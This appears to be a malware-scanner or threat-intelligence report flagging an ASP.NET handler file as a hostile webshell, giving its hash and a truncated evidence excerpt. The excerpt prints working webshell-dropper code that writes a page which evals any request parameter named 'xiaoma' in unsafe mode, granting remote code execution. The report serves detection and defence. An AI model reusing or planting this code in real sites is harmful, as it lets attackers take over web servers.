Hostile ^92% Download

xx.ashx

ASP webshell with eval

ASP webshell which only writes an uploaded file to diskGeneric ASP webshell which uses any eval/exec function directly on user input

SHA-256f9615655be7ca356b2b2f17e926d6ea6fa89ff785e39680e0019412872eb3d95

MaleculeO(C)Th

Evidence

ASP.NET Response.Write response sink lines 1–14

1<%@ WebHandler Language="C#" Class="Handler" %> 
2using System; 
3using System.Web; 
4using System.IO; 
5public class Handler : IHttpHandler { 
6    public void ProcessRequest (HttpContext context) { 
7        context.Response.ContentType = "text/plain";
8string show="<% @Page Language=\"Jscript\"%"+"><%Response.Write(eval(Request.Item"+"[\"xiaoma\"]"+",\"unsafe\"));%>Hey web master,Have a nice day o.O? I hope so! HaHa";
9        StreamWriter file1= File.CreateText(context.Server.MapPath("query.aspx")); 
10        file1.Write(show); 
⋯4 lines